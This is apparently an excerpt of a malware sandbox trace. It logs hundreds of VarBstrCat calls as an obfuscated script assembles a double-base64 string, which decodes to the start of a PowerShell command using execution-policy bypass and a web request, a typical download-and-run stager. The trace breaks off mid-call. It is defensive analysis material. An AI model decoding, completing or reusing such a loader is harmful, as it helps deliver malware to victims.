bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRP", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZ", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZV", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZ", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZw", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwW", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWF", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJ", bstrRight="q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJq", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQ", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQm", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmF", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFV", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVM", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMm", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1W", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WV", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVV", bstrRight="o", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVo", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU0", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01H", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HT", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTk", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkV", bstrRight="i", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkVi", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1p", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pN", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZ", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZW", bstrRight="t", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWt", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.745] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtV", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVe", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeF", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFR", bstrRight="r", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRr", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrT", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTT", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTB", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBl", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlR", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRT", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTV", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVw", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwT", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTk", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkh", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhw", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2V", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VU", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.746] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUU", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUj", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: 